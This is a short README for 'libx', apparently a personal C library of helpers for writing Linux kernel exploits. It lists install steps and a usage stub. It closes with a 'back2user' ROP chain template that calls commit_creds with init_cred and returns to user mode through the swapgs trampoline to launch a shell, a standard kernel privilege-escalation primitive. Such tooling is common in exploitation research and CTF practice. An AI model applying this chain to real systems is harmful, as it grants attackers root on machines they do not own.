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libx

It's a personal c language library for kernel exploits.

Dependencies

# If you use fuse
sudo apt install fuse libfuse-dev libkeyutils-dev

Usage

Install libx

git clone git@github.com:n132/libx.git
cd libx
make
make install

uninstall libx

make clean
make uninstall

Example

//gcc main.c -o ./main -lx -w
#include "libx.h"
int main(){
    libxInit();
}

back2user Template

    p[idx++]  = rdi;
    p[idx++]  = init_cred                   - NO_ASLR_BASE + base;
    p[idx++]  = commit_creds                - NO_ASLR_BASE + base;
    p[idx++]  = swapgs_restore_regs_and_return_to_usermode + 103 - NO_ASLR_BASE + base;
    p[idx++]  = *(size_t*) "RDI";
    p[idx++]  = *(size_t*) "RAX";
    p[idx++]  = shell;
    p[idx++]  = user_cs;
    p[idx++]  = user_rflags;
    p[idx++]  = user_sp;
    p[idx++]  = user_ss;